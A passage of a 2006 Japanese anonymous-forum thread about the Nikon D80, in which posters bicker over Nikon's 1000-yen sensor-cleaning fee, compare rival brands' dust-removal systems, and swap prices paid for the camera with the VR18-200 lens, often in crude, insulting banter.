窓口でさんざん待たされた挙げ句、毎回千円ぼられる庶民はミジメだ。
やっぱ庶民の味方ペンタックスのK10Dに逝きます!

653 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:13:49 ID:Ewax/kDe0
>>651
ところでお前の自演はいつになったら終わる?

654 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:15:17 ID:iB4vflXNO
>>651
メッ!あの人にアンカー指しちゃいけません。

655 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:15:29 ID:dOjs/FJD0
651の自作自演歴は長いお

656 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:18:25 ID:hl4Qb5gH0
651=654

また独演会ですかw

657 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:20:45 ID:ZC+S4+tJ0
>>656
ノイローゼなの?

658 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:22:17 ID:2vNPP+Px0
ま、人件費浮かしたいニコンとしては清掃1000円にして
追い払いたいんじゃね?

659 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:24:56 ID:ujR74SNl0
キヤノンユーザー→ローパスフィルタのゴミが気になりレンズ交換できねぇw

660 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:25:07 ID:+b9joOSj0


1000!




















YENw

661 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:28:11 ID:m/iPSvPG0
>>659
キヤノンの連中は清掃無料だからガンガン交換してる。
それが現実。

662 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:31:50 ID:+Rb95T8V0
キムタク恩赦でD80のローパス清掃永久無料になんねーかな。

663 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:34:41 ID:HMfWUW/I0
>>657
統合失調症にありがちな脈絡のない思考だな。末期か?

664 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:37:34 ID:GUAN5rmB0
ってかゴミが気になってレンズ交換できないなんて奴はコンデジ使ってろ。

665 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:51:52 ID:bajgO39a0
――ゴミを振るい落とすメカ的な機構は採用しないのですか?

若林氏:他メーカーのようなゴミの落としの機構も、当社として検討していないわけではありません。
しかし、ただ搭載するだけでは意味がありません。どういうふうにすればゴミがよく落ちるのか、
十分に効果があるレベルを見出す必要があります。今後搭載するかどうかは未定です。



666 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:53:43 ID:FGvs6wQc0
どういうふうにすれば特許をかいくぐれるのか見出す必要があります。

667 :名無CCDさん@画素いっぱい:2006/09/27(水) 15:09:42 ID:w9aYhQ9Q0
>>649
ん?連写は3コマ/秒で一緒じゃなかったっけ?
それより、合焦速度が遅そうじゃん
超音波モーターもないし

668 :名無CCDさん@画素いっぱい:2006/09/27(水) 15:29:03 ID:aX+DgwCL0
K10Dスレのフォーラムで触ってきた奴の話だとかなり速くなってるらしいぞ。
期待しちゃうなー

669 :名無CCDさん@画素いっぱい:2006/09/27(水) 15:34:28 ID:bajgO39a0
>>668
妄想の続きは専用スレでやってください

670 :名無CCDさん@画素いっぱい:2006/09/27(水) 15:36:01 ID:rHR83VGL0
>>667 防塵防滴の超音波モータ3種類出るよ。 AFは光のように早いと言う。

671 :名無CCDさん@画素いっぱい:2006/09/27(水) 15:37:09 ID:DtqV5XoD0
ここのスレの全部を押すとノートンが遮断するな。一度ノートン切ったら
マクロウイルスが入ったぞ。感染してるな。

672 :名無CCDさん@画素いっぱい:2006/09/27(水) 15:39:22 ID:t7TOiIoj0
ローパス清掃で1000円もふんだくる会社だから
AFが多少速いくらいでないと互角とは言えない。

673 :名無CCDさん@画素いっぱい:2006/09/27(水) 15:43:20 ID:0ZU0IFM/0
>>665
プルプル無しでも
ごきぶりホイホイは付いてるんだな

674 :名無CCDさん@画素いっぱい:2006/09/27(水) 15:44:59 ID:+mcbJ4c8O
ローパス清掃のたかが1000円が惜しいのか???
馬鹿だなwww

675 :名無CCDさん@画素いっぱい:2006/09/27(水) 15:49:48 ID:kVnRlX1c0
>>674
数年で3万円の出費は痛いよ。

676 :名無CCDさん@画素いっぱい:2006/09/27(水) 16:00:34 ID:qd8amY2u0
10年も清掃に通えばD80が1台買えるね。
キヤノンは無料みたいだけど。
ペンタの方が安いし企業体力の差とも言い切れない。
病院みたいにどこも悪くないウンチク爺婆が無料清掃に来やすいメーカーだから、
キチガイ締め出しの意味なんだろうけど一般人には迷惑な話だ。
たぶん無料清掃にかこつけて長話されるのがいやなんだろうねw

677 :名無CCDさん@画素いっぱい:2006/09/27(水) 16:17:44 ID:+mcbJ4c8O
ママにレンズ交換してもらってるド素人の話だなw

678 :名無CCDさん@画素いっぱい:2006/09/27(水) 16:18:47 ID:bajgO39a0
>10年も清掃に通えばD80が1台買えるね。

D80が約10マソとすると、年に10回も清掃に行くのかよw

>病院みたいにどこも悪くないウンチク爺婆が無料清掃に来やすい

年に10回も行くということは、多分>>676自身がそういう爺婆なんだろうな
文章には、己の行動パターンが如実に反映されるもんだなw



679 :名無CCDさん@画素いっぱい:2006/09/27(水) 16:22:04 ID:LkJqBExG0
>>665
ゴミをふるい落とす機構を検討してるけど現時点ではその技術がない、ということですね。
「検討してる」って時点でその必要は認めてるくせに。

680 :名無CCDさん@画素いっぱい:2006/09/27(水) 17:05:46 ID:2ctJ+8SO0
煽り煽られの激しいバトル中ではありますが。

冷静に考えて、清掃一回1000円はやっぱり高いと思う。
払えるとか払えねえとかじゃなく、サービスとして高いよね。

ウンチクたれる爺さんがウザスってんなら
せめて年3回まで無料とかすればいいんと思うんだけどね。

681 :名無CCDさん@画素いっぱい:2006/09/27(水) 17:20:28 ID:+mcbJ4c8O
プロは自分で清掃するし1000円が高いゆーてるヤシはどうせL版プリントだけだろ?ゴミ写らんゾw
拘るならキット買って自分でやれよ!
人に頼むんだから言い値で納得しれ!
ブチブチとキンタマの小さい大人だなw
もしかしてミラーアップしてシュポシュポもしたことないのかな???

682 :名無CCDさん@画素いっぱい:2006/09/27(水) 17:32:33 ID:9K1uf1780
なんでみんなクリーニングキットを買わないの?
俺は自分でやってるよ。
もちろん壊した時は自己責任で、高くつくから
毎回ドキドキだけど、そのリスクを回避できるのなら
千円なんて安いものじゃん。

683 :名無CCDさん@画素いっぱい:2006/09/27(水) 17:39:14 ID:Pot37OYm0
実際、修理窓口にへばり付いてたり、丸テーブルの真ん中にご自慢の睫毛カメラ据えて
自慢話にふける邪魔な爺たちを我慢してやっと順番が来て1000円とか言われると、
やっぱ三井ビルのキヤノンとペンタックスは良いメーカーだと思うよ。

684 :名無CCDさん@画素いっぱい:2006/09/27(水) 17:43:40 ID:Cxw/mlVt0
米軍が守ってくれるから莫大なカネ払うのは安いもんだ。

685 :名無CCDさん@画素いっぱい:2006/09/27(水) 17:47:44 ID:OEO0sAYE0
678みたいな統合失調症なのか認知症なのかよく分からない
ニコ爺の扱いってサービスセンターでも大変らしいよ。

686 :名無CCDさん@画素いっぱい:2006/09/27(水) 17:48:49 ID:yHCs+kMR0
ニコ爺の話は専用スレでやってくれないか?

687 :名無CCDさん@画素いっぱい:2006/09/27(水) 17:58:19 ID:05h1DI3I0
正直F8に絞ってもゴミは全く気にならない。ピーカンの空を撮っても
全く問題ない。F16くらい絞ると透明な丸い円が現れるが、ピーカンの空とかを撮らない
限り気にならない。F22に絞ると細かい点が現れるが、正直ここまで絞って撮影する
ことってあんまりないし、ゴミ取りなんぞ、どうでもよい。

688 :名無CCDさん@画素いっぱい:2006/09/27(水) 17:59:21 ID:+mcbJ4c8O
まぁ確かにジイサン方に時間喰われ待たされてイライラの1000円はムカツクわなw

689 :名無CCDさん@画素いっぱい:2006/09/27(水) 18:12:53 ID:gSIRTKzg0
キヤノンは「ゴミが出にくい素材を使った」とか宣伝してるのに、ニコンは地味だな。
<開発者インタビュー>

ゴミには、レンズ交換など使用中に入り込むゴミやホコリ以外に、部品の磨耗によって生じる粉もあります。
そこで、D80ではシャッターや絞りの制御、ミラーの駆動など可動する部分には、磨耗の粉が極力出ないような処理をしています。
また磨耗の粉は、動き始めに出やすいので、慣らし運転、つまりエイジングを所定回数行ってから、それぞれのユニットをカ
メラの中に組み込んでいます。さらに、ローパスフィルターの回りにはゴミを吸着する部材を置き、周辺から寄ってくるゴミや、
一度落ちたゴミが再度フィルターに付かないように工夫もしています。従来から少しずつ積み重ねた、こうしたゴミ対策のノウハウを
D80に取り入れています。


1000円しか叩くネタがないキヤノネット('・ω・)カワイソス
でも、キヤノンって掃除に出したら違うところが汚れてくるってよく聞くよ。
なんとシラミまで。
tp://cmcnine.web.infoseek.co.jp/1D_Imp_1.htm

690 :名無CCDさん@画素いっぱい:2006/09/27(水) 18:15:05 ID:lD/uYCQi0
ローパス清掃は窓口別になって待たされないはずだが?

691 :名無CCDさん@画素いっぱい:2006/09/27(水) 18:24:05 ID:cnWMsdMq0
でも混んでると待たされるもん

692 :名無CCDさん@画素いっぱい:2006/09/27(水) 18:27:40 ID:499HZXla0
ここはまるで小児科外来だな・・・

693 :名無CCDさん@画素いっぱい:2006/09/27(水) 18:28:13 ID:Zl1cyTDA0
つまり、ニコンは清掃で窓口別になってるから
他に人が並んでない時は待たせられないって事?

1000円取られるけど。

694 :名無CCDさん@画素いっぱい:2006/09/27(水) 18:32:11 ID:PKcKDjfJO
無料にするとニコ爺の憩いの場化する諸刃の剣。

695 :名無CCDさん@画素いっぱい:2006/09/27(水) 18:34:56 ID:6MZnNh0w0
おしいちゃん沢山いるもんね

696 :名無CCDさん@画素いっぱい:2006/09/27(水) 19:17:00 ID:JvB9wTLJ0
ゴミの掃除1000円ですか?
安すぎませんか?、でもサービスステーションまでの
交通費が1000円以上かかるし半日費やしてしまう、、
早く、ゴミ取りとボディー内手ぶれ補正を真剣に考えて下さいよ


697 :名無CCDさん@画素いっぱい:2006/09/27(水) 20:05:22 ID:7GUmihaB0
つーかさ、例えば観音の対策は用意周到に見えて
ハードでのゴミ落としに自信がないからソフトでも対応、ということだろ?
しかも全て他社のパクリみたいな方法ばかりだし…
写りこんでしまったゴミをソフトでというのは、NCのまんまパクリだしw

698 :名無CCDさん@画素いっぱい:2006/09/27(水) 20:11:12 ID:Tn9xfvuJ0
>>697
ま、回折でボヤボヤにしか写らないほど絞り込んで初めて出る程度のゴミを病的に気にして、
自分でゴミ入りの空気を吹き込みまくる神経症のビョーニンはいるからね。

699 :名無CCDさん@画素いっぱい:2006/09/27(水) 20:37:05 ID:atgoYIHR0
>>679

俺は、インタビューでの開発者の発言内容を、
「単にゴミ取り機能を付けました」というだけの対応では不十分で、
「きちんと機能するゴミ取り機能でなければ、その機能をユーザーに提供したことにならない」という
ことを主張しているのだと理解しました(たとえ「地味」と批判されようとも)。
これは、ニコン技術者のユーザーに対する誠実さだと感じたんだが。

700 :名無CCDさん@画素いっぱい:2006/09/27(水) 20:39:26 ID:nqq/odJH0
>>695
ニコンSCに行けばしいちゃん(堀川)がたくさんいるのか?
そばかす萌えの俺としては放っておけない情報だな。
そんなにいるなら1人くらい(ry

とりあえず明日一番で銀座を襲撃してみる。
が、万一いなかったらどうなるかわかってるんだろうな?>>695


701 :名無CCDさん@画素いっぱい:2006/09/27(水) 21:17:56 ID:4mT4vG/10
ニコンのSCはなんか以前の暖かさがなくなった。
本当に事務的でむかつく。特に梅田の桜井。

702 :名無CCDさん@画素いっぱい:2006/09/27(水) 21:21:56 ID:DkBfr9Jk0
おれは昔FE使ってたときにスクリーンの埃はどうやっても自分では綺麗に出来ない
むしろ悪化するだけだと感じてそれ以来自分で中の掃除は極力しなくなった。
デジタルでもそうなるときりがないからやらない。

703 :名無CCDさん@画素いっぱい:2006/09/27(水) 21:22:38 ID:gOStvVYT0
D80程度使ってるやつにいちいち愛想してられるかってんの
身の程を知れ
もちろんD2Xのお客様には満面の笑みで

704 :名無CCDさん@画素いっぱい:2006/09/27(水) 22:18:31 ID:yHCs+kMR0
ニコンからしたらどっちもパンピーで大差ねーだろw
おめでたい人でつね

705 :名無CCDさん@画素いっぱい:2006/09/27(水) 22:38:36 ID:t9F6ouk50
D2XとかD2Hの爺のほうがうるさそうな気がする。

706 :名無CCDさん@画素いっぱい:2006/09/27(水) 23:17:46 ID:zlamyIXa0
>>699
「きちんと機能するゴミ取り機能」の技術が今のニコンにはないということでおk。

707 :名無CCDさん@画素いっぱい:2006/09/27(水) 23:24:25 ID:6qSAfNlW0
変な人の変な人による変な人の為の変な流れ。

708 :名無CCDさん@画素いっぱい:2006/09/27(水) 23:26:16 ID:8qRqH50X0
事務的でもマシじゃん。
キヤノンなんて「問題ありません」だよ・・・

709 :名無CCDさん@画素いっぱい:2006/09/27(水) 23:31:23 ID:auiyjNa60
このスレに、ゴミ取り付きのボディ使ってる人居る?

おれはずっとニコンだから分からないんだけど、ブロアで吹き飛ばせないゴミも
この機能を使えば取れるの?

710 :名無CCDさん@画素いっぱい:2006/09/27(水) 23:32:57 ID:Tn9xfvuJ0
>>709
いや、当然のことだけど、粘りけのある初期汚れは取れない。

711 :名無CCDさん@画素いっぱい:2006/09/27(水) 23:35:05 ID:auiyjNa60
>>710
やっぱりそうなんだ。
でも、あった方が便利な機能なのかな?
おれは、ブロアで吹き飛ばせない時だけミラーアップして清掃してる。

712 :名無CCDさん@画素いっぱい:2006/09/27(水) 23:38:07 ID:ic1yoH2s0
言うまでもなく、あった方が良いだろう。
ブロアをする必要がなくなるわけだから。
清掃する必要はあるだろうが。

713 :名無CCDさん@画素いっぱい:2006/09/27(水) 23:39:06 ID:Tn9xfvuJ0
>>711
あると便利なのは間違いなし。
ハッキリいう。メーカーも益体もない言い訳の屁理屈をこね回している暇があったらさっさと搭載すべし。

714 :名無CCDさん@画素いっぱい:2006/09/28(木) 00:06:53 ID:6qSAfNlW0
>>713
それは見識が狭い意見。全ての人がフル装備を必要としている訳ではない。

715 :名無CCDさん@画素いっぱい:2006/09/28(木) 00:13:22 ID:3BSuk1BD0
>>714
必要不可欠であるなどとはいっていない。なければないで、注意して使えばよい。
必要かどうかを云々するなら、効果を現物で確認した上で、「あえて使わない」という選択肢を
実行してからにすること。

716 :名無CCDさん@画素いっぱい:2006/09/28(木) 00:13:46 ID:a+ha16ts0
所詮、カタログスペック。
http://dc.watch.impress.co.jp/cda/longterm/2006/09/04/4529.html

実は、ニコンの方が効果があったりして・・・
http://plusd.itmedia.co.jp/lifestyle/articles/0609/27/news020_2.html


717 :名無CCDさん@画素いっぱい:2006/09/28(木) 00:15:41 ID:7sExRL5N0
ただでさえバッテリーが持たないキヤノンはゴミ取りで撮影枚数が100枚も減ったぜ。
(600枚→500枚)

これは、かなりのデメリット。

718 :名無CCDさん@画素いっぱい:2006/09/28(木) 00:18:10 ID:tfE7X6mv0
同じ重量同じ価格で2種類のD80。ダストオフ機能有りD80と無しD80があったら
無いD80を選ぶ。ニコンが有りしか作らなくなったら有りを選ぶ。
ただしボディ内手ブレ補正D80があったなら+3万円+200gでも選ぶけど。

719 :名無CCDさん@画素いっぱい:2006/09/28(木) 00:33:13 ID:3BSuk1BD0
>>717
省電力化は、どういう機能を追加するかとは関係ない永遠の課題というだけのこと。
それに、影響が問題になるなら、オフにできるようにすればいい。

>>718
ダストオフだけでは説得力に欠けるのは確かだよね。
ま、スレ違いですがね。

720 :名無CCDさん@画素いっぱい:2006/09/28(木) 01:29:40 ID:JbQm2ckd0
現状オリ以外のゴミ取りはまだ充分な性能は持っていないというのが各所のレポ見ての印象かな。
とにかくカタログスペックでもいいから載せろ的な意見もあるが、
そう言ってる人たちはそんな信頼出来ない機能が付いたものを本当に欲しいのかと逆に問いかけたい。
そういった人たちの良く口にする「競争力のためだ」なんてのは全く本末転倒だと思う。
俺も699のようにかえってニコンのスタンスに信頼を感じた。
もちろん実用的なゴミ取りなら搭載は大歓迎だが。

オリのゴミ取りでさえ粘着性のゴミには無力であるなど、
メカの完全なメンテフリーなどというのはは現状(おそらくはずっと)望むことは出来ない以上、
例えゴミ取り機能が付いていたとしても、ユーザー側で撮像素子の状態に最低限の配慮をするのは当然と言えると思う。
かえってゴミ取り機能が付いていることで油断して取りきれなかったゴミで痛い目を見る方が怖いと思うのだが。


721 :名無CCDさん@画素いっぱい:2006/09/28(木) 01:42:50 ID:3BSuk1BD0
>>720
「同じ程度に注意を払った上でも違いは出る」という点が重要。
ま、着いたゴミを落とすことより、付着しにくいようにする工夫のほうが先決なのは確かですが。

722 :名無CCDさん@画素いっぱい:2006/09/28(木) 02:04:01 ID:yLKYF2PZ0
なんかMF時代にキヤノンがフラッシュのTTL調光を頑なに採用しなかった時の
論調に似てる・・・つうかそのものだな。

723 :名無CCDさん@画素いっぱい:2006/09/28(木) 02:08:33 ID:/8er++Df0
ペンタックスとサムスンがデジカメを共同開発
http://hobby7.2ch.net/test/read.cgi/dcamera/1159376483/l50


724 :名無CCDさん@画素いっぱい:2006/09/28(木) 02:09:54 ID:kkxiswus0
撮像素子のゴミよりも深刻な問題があるだろ。

君たち自身だよ・・・




725 :名無CCDさん@画素いっぱい:2006/09/28(木) 02:16:29 ID:3BSuk1BD0
>>724
もうちょっと捻って。

726 :名無CCDさん@画素いっぱい:2006/09/28(木) 02:26:01 ID:K3zFmPCR0
僕が問題なの?

727 :名無CCDさん@画素いっぱい:2006/09/28(木) 02:54:46 ID:R8qcu6PA0
1000万画素デジタル一眼レフの風雲児がやってきた! D80長期使用リポート
http://www.nikkeibp.co.jp/news/digital06q3/514094/


728 :名無CCDさん@画素いっぱい:2006/09/28(木) 02:57:02 ID:R8qcu6PA0
気になるデジカメ 長期リアルタイムレポート ニコン D80【第4回】
称名寺と写真展へ
Reported by 安孫子 卓郎
http://dc.watch.impress.co.jp/cda/longterm/2006/09/27/4709.html


729 :名無CCDさん@画素いっぱい:2006/09/28(木) 03:07:50 ID:pAHQQI1s0
>>727
どうして第一回目がいきなりモノクロ撮影なのか、理解に苦しむ。
D80が気になる連中が、そんな情報なんて欲しがってる訳無いだろうに。

730 :名無CCDさん@画素いっぱい:2006/09/28(木) 07:39:52 ID:ac3A0ULQ0
F22まで絞れば壮絶に細かいゴミが見えても、F16でなんとなく、F11ではほっとんどわからないよ。
でかいゴミは付きづらいようだし。
全てのゴミが確実に取れない限り、「ついてても見えにくい」って対応は現状正解じゃね?
ただ、他社のように具体的に「対応してます」とは言いづらいよね。


731 :名無CCDさん@画素いっぱい:2006/09/28(木) 08:25:38 ID:XjQxE8uCO
まだゴミの話してんの┐(´〜`)┌ ヤレヤレ

732 :名無CCDさん@画素いっぱい:2006/09/28(木) 08:27:03 ID:B1LZLj5E0
>>731
ケータイから御苦労だなw


733 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:03:24 ID:XjQxE8uCO
ちょいと聞きたいんだけど、F2.8のレンズなのにF8やF11とかに絞るのは
もったいないと思わない?( ゜д゜)

734 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:05:16 ID:yZpFUEZ50
そういえばフィルター付けてなかったなあ。皆さん付けてますか?

735 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:08:24 ID:B1LZLj5E0
>>733
思わない。そういう撮り方もある。

>>734
逆光時以外はプロテクター付けてる。
嫌いな人もいるけどね。
あとは、PLとNDくらいかな。

736 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:35:24 ID:BJ2ilcMB0
D80+VR18-200の購入を考えています。

どの程度の価格なら安いと思われますか?


737 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:38:45 ID:B1LZLj5E0
>>736
165K〜170K円

738 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:42:07 ID:+JFvMeWb0
>>733
もう少し勉強した方が良いぞ。

739 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:42:41 ID:XjQxE8uCO
>>737
確かに安いが無理だろw

740 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:45:48 ID:B1LZLj5E0
>>739
無理じゃねぇよ。

レンズ75K円+本体95K円
本体値下がり傾向なのでもう少し安くなるかも。

741 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:47:58 ID:XjQxE8uCO
>>740
キタムラならレンズ75Kもアリだなw

742 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:49:02 ID:B1LZLj5E0
>>741
去年の年末にキタムラでその値段で買った。

743 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:54:18 ID:tNqKXErx0
>>736
発売初日に177Kで買ったから参考にどうぞ

744 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:58:10 ID:XjQxE8uCO
やっぱ金が勿体なくての値引き交渉よりも誰よりも安く買ったど〜っ!
てな優越感が素敵で交渉するやんな〜(*゜∀゜)

745 :名無CCDさん@画素いっぱい:2006/09/28(木) 09:59:38 ID:BJ2ilcMB0
>>743
どうもありがとうございます。

参考にさせていただきます。


746 :名無CCDさん@画素いっぱい:2006/09/28(木) 10:00:12 ID:B1LZLj5E0
>>744
関西人は値切って買うのは当たり前。
そういうDNAですから。

747 :名無CCDさん@画素いっぱい:2006/09/28(木) 10:21:23 ID:Me6O2f2s0
最近のSCは知らんが、大昔のイメージで言うと
ニコンは素人は無視、プロには非常に低姿勢
キヤノンはツンデレ。一見つめたい対応だが、実は親切。
だったがなあ。

748 :名無CCDさん@画素いっぱい:2006/09/28(木) 10:28:13 ID:XjQxE8uCO
>>747
昔の話はいらんがな( ゜д゜)
今の話をせーよ(´・∀・`)

749 :名無CCDさん@画素いっぱい:2006/09/28(木) 10:35:41 ID:6/6+x3XB0
>>747
俺的には逆だな。
キヤノン使ってたときの対応が悪かったんで、ニコンに乗り換えた。

750 :名無CCDさん@画素いっぱい:2006/09/28(木) 10:38:58 ID:hy7KryrM0
>>747
東京じゃそうだったかもしれんが
地方だと逆だったな
ニコンの方が丁寧に対応してくれたよ

751 :名無CCDさん@画素いっぱい:2006/09/28(木) 11:15:06 ID:FedTycg0O
ここは完全にジジイのすくつに成り下がったな

752 :名無CCDさん@画素いっぱい:2006/09/28(木) 11:37:39 ID:Me6O2f2s0
>>751
ニコンなんか爺しか買わんだろ
俺も爺だが

753 :名無CCDさん@画素いっぱい:2006/09/28(木) 11:56:56 ID:XjQxE8uCO
若者も買ってるゾ!
爺イメージがマイナスなんだよね(´д`;)
爺は買うなよ!ペンタックス買えや!

754 :名無CCDさん@画素いっぱい:2006/09/28(木) 12:02:54 ID:M4mfpwXM0
>>753 爺くさい若者だろ。

755 :名無CCDさん@画素いっぱい:2006/09/28(木) 12:21:16 ID:va+SYmXu0
まったく、ああ言えばこう言う。

756 :名無CCDさん@画素いっぱい:2006/09/28(木) 12:48:55 ID:Me6O2f2s0
爺くさい爺はどうすればいいのでつか

757 :名無CCDさん@画素いっぱい:2006/09/28(木) 12:55:36 ID:O3ZXrdwy0
昼間から盛り上がってますね!!
皆さんは定年退職した人ばかりですか?


758 :名無CCDさん@画素いっぱい:2006/09/28(木) 12:56:50 ID:M4mfpwXM0
爺くさく無い用に考えなさい。

759 :名無CCDさん@画素いっぱい:2006/09/28(木) 13:02:32 ID:Vx3nev/00
>>747
大昔のニコンのサービスはよくそういう事があったらしいね。(東京)
今は反対になったよ。いつもトップはそんな物。

760 :名無CCDさん@画素いっぱい:2006/09/28(木) 13:11:36 ID:vEMXDnTf0
>The industry says that Nikon would announce a rangefinder digital camera
>"Nikon G3", which would be called "Jiisan" or "Niko-Jii" in Japanese.
>This camera seems to target at old photographic enthusiasts. ...

761 :名無CCDさん@画素いっぱい:2006/09/28(木) 13:54:18 ID:ah/LZ5AT0
学生時代に買ったニコンF4がある。いくらで売れるかな・・

762 :名無CCDさん@画素いっぱい:2006/09/28(木) 14:48:36 ID:8flYsJ4L0
F4ならオクに出しても3-5万でしょ。
フィルムカメラとして大事に使った方が良いと思う。

763 :名無CCDさん@画素いっぱい:2006/09/28(木) 15:01:40 ID:IKEXEwVI0
屋内スポーツ限定でD2H使ってる

乗り換えるならD80とD200どっちかな?

764 :名無CCDさん@画素いっぱい:2006/09/28(木) 15:05:48 ID:Ahl7m3YC0
秒5か秒3、好きな方。

765 :名無CCDさん@画素いっぱい:2006/09/28(木) 15:22:38 ID:Ufby9EpA0
んだね。連写を取るか、高感度ノイズを取るか、

766 :名無CCDさん@画素いっぱい:2006/09/28(木) 15:27:43 ID:IKEXEwVI0
ノイズはD2Hより改善されているのかしら

767 :名無CCDさん@画素いっぱい:2006/09/28(木) 15:28:50 ID:kLLTWHqZ0
>>743
おれは初日で18万だった。
いきなりその値段だったから値引き交渉しづらくてそのまま買っちゃったよw

768 :名無CCDさん@画素いっぱい:2006/09/28(木) 15:43:06 ID:TSDoP4ID0
高いな
漏れは16万で買った

769 :名無CCDさん@画素いっぱい:2006/09/28(木) 15:59:08 ID:Wz+GeDFD0
ムック30日発売らしいけどもう出てたりする?

770 :名無CCDさん@画素いっぱい:2006/09/28(木) 16:01:07 ID:XjQxE8uCO
>>769
あと2日我慢しれw

771 :名無CCDさん@画素いっぱい:2006/09/28(木) 16:18:57 ID:YPUH6QEo0
ええぇぇえぇぇ〜
ローパス清掃無料じゃねーのかよ!
しかも1000円って店は歌舞伎町にあるのか?
分裂病爺が捨て身の擁護レスで頑張ってるレス見て萎えた。













やっぱペンタK10Dにするワ!

772 :名無CCDさん@画素いっぱい:2006/09/28(木) 16:20:35 ID:CWd1a/ZM0
お年寄りを大切にできない子はいりません
               ペンタ

773 :名無CCDさん@画素いっぱい:2006/09/28(木) 16:28:43 ID:nmLcBmXW0
>>771
誘導
http://hobby8.2ch.net/test/read.cgi/camera/1046779758/

774 :名無CCDさん@画素いっぱい:2006/09/28(木) 16:38:31 ID:BJ2ilcMB0
>>768
ええ、D80+VRで16ですか?
購入はどちらですか?

775 :名無CCDさん@画素いっぱい:2006/09/28(木) 17:51:47 ID:Im8yj6h70
発売日にD80とVR18-200とケンコーレンズフィルターで17.5Kだった。
16kで買ったヤシが本当なら領収書をうpしてくれw絶対にウソだと思うおw

776 :名無CCDさん@画素いっぱい:2006/09/28(木) 17:54:25 ID:h/J7rpo90
17.5kか、バカ安だな。
羨ましいぜ。

777 :名無CCDさん@画素いっぱい:2006/09/28(木) 17:54:44 ID:4mbH/nSZ0
フィルターだけで1.5Kもしたのかぁw

778 :名無CCDさん@画素いっぱい:2006/09/28(木) 17:59:04 ID:fTZyBq6K0
>>777
妥当な値段だと思われるが・・・

779 :名無CCDさん@画素いっぱい:2006/09/28(木) 18:03:18 ID:yH1Ik9As0
D80とVR18-200とケンコーレンズフィルターで17,500円の店晒してくれ。
5セットくらい買うから

780 :名無CCDさん@画素いっぱい:2006/09/28(木) 18:07:48 ID:M4mfpwXM0
>>779 貧乏人。 50セット位買えよ。

781 :名無CCDさん@画素いっぱい:2006/09/28(木) 18:31:39 ID:YCVDuM9g0
>>733
「いつも絞り込んでしか使わない」のでは宝の持ち腐れという面があるけど、開放が明るい分だけ
ピント合わせが容易になるとかいったメリットがあるから、開放の明るさが生きていないという
ことではない。被写界深度を稼ぐ・わざとスローシャッターにするとか、使うことはある。
F2.8程度の「大して明るくないレンズ」はもちろん、単焦点のF2とかF1.4とかでも同じこと。

性能の点でも、具体的なレンズ次第ではあるけど、F8あたりで全面でベストになることが
少なくないから、むしろ積極的に使うこともある。
F11あたりから先になると、絞りすぎでぼやける問題が露呈することが多いから、比較テスト
しておいて、どうするか決める。


782 :名無CCDさん@画素いっぱい:2006/09/28(木) 18:44:14 ID:z9pRDxeb0
皆、安くで買ってるなぁ
おいらは、18.9Kだたよキタムラで・・・・・
やっぱり田舎は値引きが渋いのかなぁ・・・ (((´・ω・`)

783 :名無CCDさん@画素いっぱい:2006/09/28(木) 18:44:30 ID:ydX6h9+P0
>>763-765
連写と高感度ノイズ、あちらを立てればこちらが立たず。
両方をクリアできないところがニコンの限界かww

784 :名無CCDさん@画素いっぱい:2006/09/28(木) 18:48:38 ID:Im8yj6h70
Kって千円だよね?って事は175Kで17万5千円で通じるか?
オレはキタムラで買いました。


785 :名無CCDさん@画素いっぱい:2006/09/28(木) 19:05:01 ID:fTZyBq6K0
>>782
あなたもお安く買えてますw

786 :名無CCDさん@画素いっぱい:2006/09/28(木) 19:07:53 ID:YCVDuM9g0
>>783 ヘラヘラ笑ってんじゃねーよ!
パンパンパーン
       ∩
  (,,`・ω・´)彡☆
   ⊂彡☆))Д´)
       ☆


787 :名無CCDさん@画素いっぱい:2006/09/28(木) 19:31:13 ID:a0fSzOjG0
連写とノイズを比較してる時点でキヤノネットワロス

788 :名無CCDさん@画素いっぱい:2006/09/28(木) 19:32:19 ID:M1KUFIZF0
やっぱニセモンだわニコソw

789 :名無CCDさん@画素いっぱい:2006/09/28(木) 19:32:56 ID:iQSD61qI0
やっぱポケモンだわ12ch

790 :名無CCDさん@画素いっぱい:2006/09/28(木) 19:34:58 ID:Im8yj6h70
やっぱホルモンだわ叙々苑

791 :名無CCDさん@画素いっぱい:2006/09/28(木) 19:54:18 ID:thp897nA0
やっぱ真性だわキャノネット

792 :名無CCDさん@画素いっぱい:2006/09/28(木) 19:55:14 ID:Vx3nev/00
やっぱ真性だったわオレ…

793 :名無CCDさん@画素いっぱい:2006/09/28(木) 20:28:38 ID:Im8yj6h70
やっぱ陽性だったは彼女…

794 :名無CCDさん@画素いっぱい:2006/09/28(木) 21:20:32 ID:fS9+xoKN0
ヤッバイ(井上)陽水は女だったわ…

795 :名無CCDさん@画素いっぱい:2006/09/28(木) 21:38:52 ID:o1daoBtp0
よくわからんがニコ爺の間ではk=10000が常識なのか?

796 :名無CCDさん@画素いっぱい:2006/09/28(木) 21:39:01 ID:J/P/dA050
今日、渋谷のビックカメでD80触ってきたんだけど
ピンがあわなくて全然シャッター切れね〜
おかし〜な〜D80こんなだったかな〜

797 :名無CCDさん@画素いっぱい:2006/09/28(木) 21:49:13 ID:c5RukY+J0
>>796
MFモードになってたというヲチ

